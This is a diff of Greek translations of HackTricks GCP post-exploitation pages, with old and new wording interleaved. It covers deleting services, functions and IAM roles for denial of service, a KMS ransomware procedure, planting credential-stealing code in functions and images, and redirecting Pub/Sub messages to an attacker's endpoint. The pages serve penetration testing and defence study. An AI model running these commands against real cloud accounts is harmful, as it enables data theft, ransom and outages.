- Μετά το CREATE DATABASE FROM INTEGRATION, η λίστα πινάκων αποκάλυψε το schema ztl και τον πίνακα customers· το SELECT από ztl.customers επέστρεψε 2 εγγραφές (Alice, Bob).
Επίπτωση: Continuous nearrealtime exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster.
Επίπτωση: Continuous nearrealtime exfiltration των επιλεγμένων Aurora PostgreSQL πινάκων σε Redshift Serverless που ελέγχεται από τον attacker, χωρίς χρήση database credentials, backups ή network access στο source cluster.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## `App Engine`
For information about App Engine check:
Για πληροφορίες σχετικά με το App Engine δείτε:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,36 +12,37 @@ For information about App Engine check:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
With these permissions it's possible to:
Με αυτές τις άδειες είναι δυνατό να:
- Προσθήκη key
- Λίστα keys
- Λήψη key
- Προσθήκη ενός κλειδιού
- Εμφάνιση λίστας κλειδιών
- Ανάκτηση ενός κλειδιού
- Διαγραφή
> [!CAUTION]
> Ωστόσο, **δεν μπόρεσα να βρω κάποιον τρόπο να αποκτήσω πρόσβαση σε αυτές τις πληροφορίες από το cli**, μόνο από την **web console** όπου πρέπει να γνωρίζετε τον **Key type** και το **Key name**, ή από την a**pp engine running app**.
> Ωστόσο, **δεν μπόρεσα να βρω κανέναν τρόπο να αποκτήσω πρόσβαση σε αυτές τις πληροφορίες από το CLI**, μόνο από την **web console** όπου πρέπει να γνωρίζετε τον **τύπο κλειδιού** και το **όνομα κλειδιού**, ή από την **εφαρμογή που τρέχει στο App Engine**.
>
> Αν γνωρίζετε ευκολότερους τρόπους να χρησιμοποιήσετε αυτά τα permissions, στείλτε ένα Pull Request!
> Αν γνωρίζετε πιο εύκολους τρόπους να χρησιμοποιήσετε αυτές τις άδειες, στείλτε ένα Pull Request!
### `logging.views.access`
With this permission it's possible to **see the logs of the App**:
<details>
<summary>Tail app logs</summary>
Με αυτήν την άδεια είναι δυνατό να **δείτε τα logs της εφαρμογής**:
```bash
gcloud app logs tail -s <name>
```
</details>
### Διαγραφή υπηρεσίας και έκδοσης
### Ανάγνωση πηγαίου κώδικα
Τα δικαιώματα `appengine.versions.delete`, `appengine.versions.list` και `appengine.services.list` επιτρέπουν τη διαχείριση και τη διαγραφή συγκεκριμένων εκδόσεων μιας εφαρμογής App Engine, κάτι που μπορεί να επηρεάσει την κίνηση εάν αυτή είναι κατανεμημένη ή εάν αφαιρεθεί η μοναδική σταθερή έκδοση. Εν τω μεταξύ, τα δικαιώματα `appengine.services.delete` και `appengine.services.list` επιτρέπουν την προβολή λίστας και τη διαγραφή ολόκληρων υπηρεσιών — μια ενέργεια που διαταράσσει άμεσα όλη την κίνηση και τη διαθεσιμότητα των σχετικών εκδόσεων.
```bash
gcloud app versions delete <VERSION_ID>
gcloud app services delete <SERVICE_NAME>
```
### Διαβάστε τον πηγαίο κώδικα
Ο πηγαίος κώδικας όλων των εκδόσεων και υπηρεσιών είναι **αποθηκευμένος στον bucket** με το όνομα **`staging.<proj-id>.appspot.com`**. Εάν έχετε δικαιώματα εγγραφής σε αυτό μπορείτε να διαβάσετε τον πηγαίο κώδικα και να αναζητήσετε **ευπάθειες** και **ευαίσθητες πληροφορίες**.
Ο πηγαίος κώδικας όλων των εκδόσεων και υπηρεσιών είναι **αποθηκευμένος στο bucket** με όνομα **`staging.<proj-id>.appspot.com`**. Αν έχετε write access σε αυτό μπορείτε να διαβάσετε τον πηγαίο κώδικα και να αναζητήσετε **vulnerabilities** και **sensitive information**.
### Τροποποίηση πηγαίου κώδικα
### Τροποποιήστε τον πηγαίο κώδικα
Τροποποιήστε τον πηγαίο κώδικα για να κλέψετε διαπιστευτήρια εάν αποστέλλονται ή να πραγματοποιήσετε επίθεση defacement σε έναν ιστότοπο.
Τροποποιήστε τον πηγαίο κώδικα για να υποκλέψετε credentials εάν αποστέλλονται ή να πραγματοποιήσετε ένα defacement web attack.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud Functions
Βρείτε πληροφορίες για το Cloud Functions στο:
Βρείτε πληροφορίες για Cloud Functions στο:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,31 @@
### `cloudfunctions.functions.sourceCodeGet`
Με αυτήν την άδεια μπορείτε να λάβετε ένα **υπογεγραμμένο URL για να κατεβάσετε τον πηγαίο κώδικα** της Cloud Function:
<details>
<summary>Λάβετε υπογεγραμμένο URL για λήψη πηγαίου κώδικα</summary>
Με αυτή την άδεια μπορείτε να αποκτήσετε ένα **signed URL για να μπορέσετε να κατεβάσετε τον source code** της Cloud Function:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
</details>
### `cloudfunctions.functions.delete`
Η άδεια `cloudfunctions.functions.delete` επιτρέπει σε μια ταυτότητα να διαγράψει εντελώς ένα Cloud Function, συμπεριλαμβανομένου του κώδικα, της διαμόρφωσης, των ενεργοποιητών και της συσχέτισής του με λογαριασμούς υπηρεσίας.
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Εξαγωγή κώδικα μέσω του bucket
Τα `storage.objects.get` και `storage.objects.list` δικαιώματα επιτρέπουν την απαρίθμηση και την ανάγνωση αντικειμένων μέσα σε ένα bucket, και στην περίπτωση των Cloud Functions αυτό είναι ιδιαίτερα σχετικό γιατί κάθε function αποθηκεύει τον source code του σε ένα αυτόματα διαχειριζόμενο Google bucket, το όνομα του οποίου ακολουθεί τη μορφή `gcf-sources-<PROJECT_NUMBER>-<REGION>`
### Υποκλοπή αιτημάτων Cloud Function
Εάν η Cloud Function διαχειρίζεται ευαίσθητες πληροφορίες που στέλνουν οι χρήστες (π.χ. passwords ή tokens), με επαρκή προνόμια μπορείτε να **modify the source code of the function and exfiltrate** αυτές τις πληροφορίες.
### Κλοπή αιτημάτων Cloud Function
Επιπλέον, οι Cloud Functions που τρέχουν σε python χρησιμοποιούν **flask** για να εκθέσουν τον web server, αν με κάποιο τρόπο βρείτε μια ευπάθεια code injection μέσα στη flaks process (π.χ. μια SSTI ευπάθεια), είναι δυνατό να **override the function handler** που θα λαμβάνει τα HTTP requests για μια **malicious function** που μπορεί να **exfiltrate the request** πριν τα περάσει στον νόμιμο handler.
Εάν το Cloud Function διαχειρίζεται ευαίσθητες πληροφορίες που στέλνουν οι χρήστες (π.χ. passwords ή tokens), με επαρκή προνόμια θα μπορούσατε να **τροποποιήσετε τον πηγαίο κώδικα της function και να exfiltrate** αυτές τις πληροφορίες.
Για παράδειγμα αυτό το code υλοποιεί την attack:
Επιπλέον, τα Cloud Functions που τρέχουν σε python χρησιμοποιούν **flask** για να εκθέσουν τον web server. Αν βρείτε κάποιο code injection vulnerability μέσα στη διαδικασία του flask (π.χ. μια SSTI ευπάθεια), είναι πιθανό να **override the function handler** που θα λαμβάνει τα HTTP requests για μία **malicious function** που μπορεί να **exfiltrate the request** πριν το περάσει στον νόμιμο handler.
<details>
<summary>Υποκλοπή αιτημάτων Cloud Function (Python injection)</summary>
Για παράδειγμα, αυτός ο κώδικας υλοποιεί την επίθεση:
```python
import functions_framework
@@ -132,8 +133,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,20 +4,31 @@
## Cloud Run
Για περισσότερες πληροφορίες σχετικά με το Cloud Run, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με το Cloud Run, δείτε:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### Πρόσβαση στις εικόνες
### Διαγραφή CloudRun Job
Οι δικαιοδοσίες `run.services.delete` και `run.services.get`, καθώς και `run.jobs.delete`, επιτρέπουν σε μια ταυτότητα να διαγράψει εντελώς μια υπηρεσία ή job του Cloud Run, συμπεριλαμβανομένης της διαμόρφωσης και του ιστορικού της. Στα χέρια ενός επιτιθέμενου, αυτό μπορεί να προκαλέσει άμεση διαταραχή σε εφαρμογές ή κρίσιμες ροές εργασίας, οδηγώντας σε άρνηση υπηρεσίας (DoS) για χρήστες και συστήματα που εξαρτώνται από τη λογική της υπηρεσίας ή από ουσιώδεις προγραμματισμένες εργασίες.
Εάν μπορείτε να αποκτήσετε πρόσβαση στις εικόνες κοντέινερ, ελέγξτε τον κώδικα για ευπάθειες και σκληρά κωδικοποιημένες ευαίσθητες πληροφορίες. Επίσης, για ευαίσθητες πληροφορίες σε μεταβλητές περιβάλλοντος.
Για να διαγράψετε ένα job, μπορεί να εκτελεστεί η παρακάτω ενέργεια.
```bash
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
```
Για να διαγράψετε μια υπηρεσία, μπορεί να εκτελεστεί η εξής ενέργεια.
```bash
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
```
### Πρόσβαση στα container images
Εάν οι εικόνες είναι αποθηκευμένες σε αποθετήρια μέσα στην υπηρεσία Artifact Registry και ο χρήστης έχει δικαιώματα ανάγνωσης στα αποθετήρια, μπορεί επίσης να κατεβάσει την εικόνα από αυτή την υπηρεσία.
Αν μπορείς να αποκτήσεις πρόσβαση στα container images, έλεγξε τον κώδικα για ευπάθειες και για hardcoded ευαίσθητες πληροφορίες. Επίσης έλεγξε για ευαίσθητες πληροφορίες σε env variables.
### Τροποποίηση & επαναφορά της εικόνας
Αν τα images αποθηκεύονται σε repos μέσα στην υπηρεσία Artifact Registry και ο χρήστης έχει δικαίωμα ανάγνωσης στα repos, μπορεί επίσης να κατεβάσει το image από αυτή την υπηρεσία.
Τροποποιήστε την εικόνα εκτέλεσης για να κλέψετε πληροφορίες και επαναφέρετε την νέα έκδοση (απλά ανεβάζοντας ένα νέο docker κοντέινερ με τις ίδιες ετικέτες δεν θα την εκτελέσει). Για παράδειγμα, εάν εκθέτει μια σελίδα σύνδεσης, κλέψτε τα διαπιστευτήρια που στέλνουν οι χρήστες.
### Τροποποίηση & redeploy του image
Τροποποίησε το run image ώστε να κλέψεις πληροφορίες και κάνε redeploy της νέας έκδοσης (απλώς ανεβάζοντας ένα νέο docker container με τα ίδια tags δεν θα εκτελεστεί). Για παράδειγμα, αν εκθέτει μια login page, μπορείς να κλέψεις τα credentials που στέλνουν οι χρήστες.
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# GCP - IAM Post Exploitation
# GCP - IAM Μετά την εκμετάλλευση
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,24 +10,42 @@
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
### Χορήγηση πρόσβασης στην κονσόλα διαχείρισης <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
### Παροχή πρόσβασης στην κονσόλα διαχείρισης <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
Η πρόσβαση στο [GCP management console](https://console.cloud.google.com) παρέχεται **σε user accounts, όχι σε service accounts**. Για να συνδεθείτε στη web διεπαφή, μπορείτε να **παραχωρήσετε πρόσβαση σε ένα Google account** που ελέγχετε. Αυτό μπορεί να είναι ένας γενικός "**@gmail.com**" account, δεν χρειάζεται **να είναι μέλος του στοχευόμενου οργανισμού**.
Η πρόσβαση στην [GCP management console](https://console.cloud.google.com) **παρέχεται σε λογαριασμούς χρηστών, όχι σε λογαριασμούς υπηρεσιών**. Για να συνδεθείτε στη web διεπαφή, μπορείτε να **παραχωρήσετε πρόσβαση σε λογαριασμό Google** που ελέγχετε. Αυτό μπορεί να είναι ένας γενικός **"@gmail.com"** λογαριασμός, **δεν χρειάζεται να είναι μέλος του στοχευόμενου οργανισμού**.
Ωστόσο, για να **παραχωρήσετε** τον αρχέγονο ρόλο **Owner** σε έναν γενικό "@gmail.com" account, θα χρειαστεί να **χρησιμοποιήσετε την web κονσόλα**. Το `gcloud` θα εμφανίσει σφάλμα αν προσπαθήσετε να του παραχωρήσετε δικαίωμα πάνω από το Editor.
Για να **παραχωρήσετε** τον βασικό ρόλο **Owner** σε έναν γενικό **"@gmail.com"** λογαριασμό, όμως, θα χρειαστεί να **χρησιμοποιήσετε την web console**. Το `gcloud` θα εμφανίσει σφάλμα αν προσπαθήσετε να του παραχωρήσετε δικαιώματα πάνω από Editor.
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να **παραχωρήσετε σε έναν χρήστη τον αρχέγονο ρόλο Editor** στο υπάρχον project σας:
<details>
<summary>Παραχώρηση ρόλου Editor σε χρήστη</summary>
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να **παραχωρήσετε σε έναν χρήστη τον βασικό ρόλο Editor** στο υπάρχον project σας:
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
</details>
Αν τα κατάφερες εδώ, δοκίμασε να **αποκτήσεις πρόσβαση στη διεπαφή web** και να εξερευνήσεις από εκεί.
Αν τα κατάφερες εδώ, δοκίμασε να **αποκτήσεις πρόσβαση στη διασύνδεση ιστού** και να εξερευνήσεις από εκεί.
Αυτό είναι το **υψηλότερο επίπεδο που μπορείς να εκχωρήσεις χρησιμοποιώντας το εργαλείο gcloud**.
Αυτό είναι το **υψηλότερο επίπεδο που μπορείς να αναθέσεις χρησιμοποιώντας το εργαλείο gcloud**.
### Διαγραφή συστατικών IAM `iam.*.delete`
Τα δικαιώματα `iam.*.delete` (π.χ., `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, κ.λπ.) επιτρέπουν σε μια ταυτότητα να διαγράψει κρίσιμα στοιχεία του IAM, όπως προσαρμοσμένους ρόλους, συνδέσεις κλειδιών API (API key bindings), κλειδιά service account και τα ίδια τα service accounts. Στα χέρια ενός επιτιθέμενου, αυτό καθιστά δυνατή την αφαίρεση νόμιμων μηχανισμών πρόσβασης με σκοπό την πρόκληση άρνησης υπηρεσίας.
Για να πραγματοποιηθεί μια τέτοια επίθεση, είναι δυνατό, για παράδειγμα, να διαγραφούν ρόλοι χρησιμοποιώντας:
```bash
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
```
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
Οι άδειες `iam.serviceAccountKeys.disable` και `iam.serviceAccounts.disable` επιτρέπουν την απενεργοποίηση ενεργών κλειδιών service account ή των service accounts, τα οποία, στα χέρια ενός επιτιθέμενου, μπορούν να χρησιμοποιηθούν για να διαταράξουν τις λειτουργίες, να προκαλέσουν denial of service ή να δυσχεράνουν την αντιμετώπιση περιστατικών αποτρέποντας τη χρήση νόμιμων διαπιστευτηρίων.
Για να απενεργοποιήσετε ένα Service Account, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
```bash
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
```
Για να απενεργοποιήσετε τα keys ενός Service Account, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
```bash
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
```
### `iam.*.undelete`
Οι άδειες `iam.*.undelete` επιτρέπουν την επαναφορά προηγουμένως διαγραμμένων στοιχείων, όπως API key bindings, custom roles ή service accounts. Στα χέρια ενός επιτιθέμενου, αυτό μπορεί να χρησιμοποιηθεί για να αντιστρέψει αμυντικές ενέργειες (ανάκτηση αφαιρεθείσας πρόσβασης), να επαναφέρει διαγραμμένους μοχλούς παραβίασης για να διατηρήσει πρόσβαση, ή να αποφύγει προσπάθειες αποκατάστασης, περιπλέκοντας τον περιορισμό του περιστατικού.
```bash
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@
### `cloudkms.cryptoKeyVersions.destroy`
Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να καταστρέψει μια έκδοση του KMS. Για να το κάνετε αυτό πρέπει πρώτα να απενεργοποιήσετε το κλειδί και στη συνέχεια να το καταστρέψετε:
Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να καταστρέψει μια έκδοση του KMS. Για να το κάνετε αυτό, πρέπει πρώτα να απενεργοποιήσετε το κλειδί και στη συνέχεια να το καταστρέψετε:
<details>
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
### KMS Ransomware
Στο AWS είναι δυνατό να **αποκλέψει κανείς ένα KMS key** τροποποιώντας την KMS resource policy και επιτρέποντας μόνο στον λογαριασμό του επιτιθέμενου να χρησιμοποιήσει το κλειδί. Εφόσον αυτές οι resource policies δεν υπάρχουν στο GCP, αυτό δεν είναι δυνατό.
Στο AWS είναι δυνατόν να **steal a KMS key** πλήρως, τροποποιώντας την KMS resource policy και επιτρέποντας μόνο στον λογαριασμό του επιτιθέμενου να χρησιμοποιεί το κλειδί. Εφόσον αυτές οι resource policies δεν υπάρχουν στο GCP, αυτό δεν είναι δυνατό.
Ωστόσο, υπάρχει ένας άλλος τρόπος για να πραγματοποιηθεί ένα global KMS Ransomware, ο οποίος θα περιλάμβανε τα ακόλουθα βήματα:
Ωστόσο, υπάρχει ένας άλλος τρόπος για να πραγματοποιηθεί παγκόσμιο KMS Ransomware, που θα περιλάμβανε τα ακόλουθα βήματα:
- Δημιουργία νέας **έκδοσης του κλειδιού με key material** που έχει εισαχθεί από τον επιτιθέμενο
- Δημιουργήστε μια νέα **έκδοση του κλειδιού με υλικό κλειδιού** εισαγόμενο από τον επιτιθέμενο
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Ορίστε το ως **προεπιλεγμένη έκδοση** (για μελλοντικά δεδομένα που θα κρυπτογραφηθούν)
- **Επανακρυπτογραφήστε τα παλαιότερα δεδομένα** που είχαν κρυπτογραφηθεί με την προηγούμενη έκδοση, χρησιμοποιώντας τη νέα.
- **Διαγράψτε το KMS key**
- Τώρα μόνο ο επιτιθέμενος, ο οποίος έχει το αρχικό key material, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα
- Τώρα μόνο ο attacker, που έχει το original key material, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα
#### Εδώ είναι τα βήματα για εισαγωγή νέας έκδοσης και απενεργοποίηση/διαγραφή των παλαιότερων δεδομένων:
#### Εδώ είναι τα βήματα για την εισαγωγή μιας νέας έκδοσης και την απενεργοποίηση/διαγραφή των παλαιότερων δεδομένων:
<details>
<summary>Εισαγωγή νέας έκδοσης κλειδιού και διαγραφή παλαιότερης έκδοσης</summary>
<summary>Εισαγωγή νέας key version και διαγραφή της παλιάς</summary>
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
<details>
<summary>Υπογραφή μηνύματος με ασυμμετρικό κλειδί (Python)</summary>
<summary>Υπογραφή μηνύματος με ασύμμετρο κλειδί (Python)</summary>
```python
import hashlib
from google.cloud import kms
@@ -243,7 +243,7 @@ print('Signature:', signature)
<details>
<summary>Επικύρωση υπογραφής με ασύμμετρο κλειδί (Python)</summary>
<summary>Επαλήθευση υπογραφής με ασύμμετρο κλειδί (Python)</summary>
```python
from google.cloud import kms
import hashlib
@@ -270,6 +270,32 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
Η άδεια `cloudkms.cryptoKeyVersions.restore` επιτρέπει σε μια ταυτότητα να επαναφέρει μια έκδοση κλειδιού που προηγουμένως είχε προγραμματιστεί για καταστροφή ή είχε απενεργοποιηθεί στο Cloud KMS, επαναφέροντάς την σε ενεργή και χρησιμοποιήσιμη κατάσταση.
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
Η άδεια `cloudkms.cryptoKeyVersions.update` επιτρέπει σε μια ταυτότητα να τροποποιήσει τα χαρακτηριστικά ή την κατάσταση μιας συγκεκριμένης έκδοσης κλειδιού στο Cloud KMS, για παράδειγμα ενεργοποιώντας ή απενεργοποιώντας την.
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Pub/Sub
Για περισσότερες πληροφορίες σχετικά με το Pub/Sub δείτε την παρακάτω σελίδα:
Για περισσότερες πληροφορίες σχετικά με το Pub/Sub ελέγξτε την παρακάτω σελίδα:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@
### `pubsub.topics.publish`
Δημοσίευση μηνύματος σε ένα topic, χρήσιμο για **αποστολή απροσδόκητων δεδομένων** και ενεργοποίηση απροσδόκητων λειτουργιών ή εκμετάλλευση ευπαθειών:
Δημοσιεύει ένα μήνυμα σε ένα topic, χρήσιμο για **αποστολή απροσδόκητων δεδομένων** και την ενεργοποίηση απροσδόκητων λειτουργιών ή exploit vulnerabilities:
<details>
<summary>Δημοσίευση μηνύματος στο topic</summary>
<summary>Δημοσίευση μηνύματος σε topic</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
Χρήσιμο για να εμποδίσετε μια συνδρομή να λαμβάνει μηνύματα ίσως για να αποφύγετε τον εντοπισμό.
Χρήσιμο για να αποτρέψετε μια subscription από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση.
<details>
<summary>Αποσύνδεση συνδρομής από θέμα</summary>
<summary>Αποσύνδεση subscription από topic</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
Χρήσιμο για να αποτρέψετε ένα subscription από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση.\
Είναι δυνατό να διαγράψετε ένα topic ακόμη και με subscriptions συνδεδεμένα σε αυτό.
Χρήσιμο για να εμποδίσετε μια subscription να λαμβάνει μηνύματα, ενδεχομένως για να αποφύγετε τον εντοπισμό.\
Είναι δυνατό να διαγράψετε ένα topic ακόμη και αν υπάρχουν subscriptions συνδεδεμένες σε αυτό.
<details>
<summary>Delete topic</summary>
<summary>Διαγραφή topic</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,19 +50,45 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
Χρησιμοποιήστε αυτήν την άδεια για να αλλάξετε κάποια ρύθμιση του topic ώστε να το διαταράξετε, όπως `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
Χρησιμοποίησε αυτή την άδεια για να ενημερώσεις κάποια ρύθμιση του topic ώστε να το διαταράξεις, όπως `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Χορηγήστε στον εαυτό σας την άδεια να εκτελέσετε οποιαδήποτε από τις προηγούμενες επιθέσεις.
Χορήγησε στον εαυτό σου την άδεια να εκτελέσεις οποιαδήποτε από τις προηγούμενες επιθέσεις.
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Αποκτήστε όλα τα μηνύματα σε έναν web server:
Λάβετε όλα τα μηνύματα σε έναν web server:
<details>
<summary>Δημιουργήστε push subscription για να λαμβάνετε μηνύματα</summary>
<summary>Δημιουργία push subscription για λήψη μηνυμάτων</summary>
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
@@ -73,7 +99,7 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
<details>
<summary>Δημιουργία pull subscription και ανάκτηση μηνυμάτων</summary>
<summary>Δημιουργήστε pull subscription και ανακτήστε messages</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -86,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.delete`
**Διαγραφή μιας συνδρομής** μπορεί να είναι χρήσιμη για να διαταράξετε ένα σύστημα επεξεργασίας καταγραφών ή κάτι παρόμοιο:
**Διαγραφή συνδρομής** θα μπορούσε να είναι χρήσιμη για να διαταράξει ένα σύστημα επεξεργασίας logs ή κάτι παρόμοιο:
<details>
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
Χρησιμοποιήστε αυτήν την άδεια για να ενημερώσετε κάποια ρύθμιση, ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος στο οποίο μπορείτε να έχετε πρόσβαση (URL, Big Query table, Bucket) ή απλώς για να το διαταράξετε.
Χρησιμοποιήστε αυτή την άδεια για να ενημερώσετε κάποια ρύθμιση ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος που μπορείτε να προσπελάσετε (URL, Big Query table, Bucket) ή απλώς για να το διαταράξετε.
<details>
<summary>Ενημέρωση endpoint συνδρομής</summary>
<summary>Ενημέρωση endpoint του subscription</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.subscriptions.setIamPolicy`
Δώστε στον εαυτό σας τα δικαιώματα που χρειάζονται για να εκτελέσετε οποιαδήποτε από τις προηγουμένως αναφερθείσες επιθέσεις.
Δώσε στον εαυτό σου τα δικαιώματα που χρειάζονται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως αναφερθείσες attacks.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Επισυνάψτε ένα schema σε ένα topic ώστε τα μηνύματα να μην το ικανοποιούν και επομένως το topic να διαταραχθεί.\
Εάν δεν υπάρχουν schemas, ίσως χρειαστεί να δημιουργήσετε ένα.
Attack ένα schema σε ένα topic έτσι ώστε τα messages να μην το πληρούν και επομένως το topic να διαταράσσεται.\
Αν δεν υπάρχουν schema ίσως χρειαστεί να δημιουργήσεις ένα.
<details>
<summary>Δημιουργήστε αρχείο schema και επισυνάψτε το σε topic</summary>
<summary>Δημιούργησε αρχείο schema και επισύναψέ το σε topic</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
Μπορεί να φαίνεται ότι με τη διαγραφή ενός schema θα μπορείτε να στέλνετε μηνύματα που δεν συμμορφώνονται με το schema. Ωστόσο, επειδή το schema θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά στο topic. Οπότε αυτό είναι **άχρηστο**:
Αυτό μπορεί να φαίνεται σαν ότι με τη διαγραφή ενός schema θα μπορείτε να στέλνετε μηνύματα που δεν συμμορφώνονται με το schema. Ωστόσο, επειδή το schema θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά στο topic. Οπότε αυτό είναι **ΑΧΡΗΣΤΟ**:
<details>
<summary>Διαγραφή schema (όχι χρήσιμο)</summary>
<summary>Διαγραφή schema (όχι χρήσιμη)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
### `pubsub.schemas.setIamPolicy`
Χορήγησε στον εαυτό σου τα δικαιώματα που απαιτούνται για να εκτελέσεις οποιαδήποτε από τις προαναφερθείσες επιθέσεις.
Δώσε στον εαυτό σου τα δικαιώματα που απαιτούνται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως αναφερθείσες επιθέσεις.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
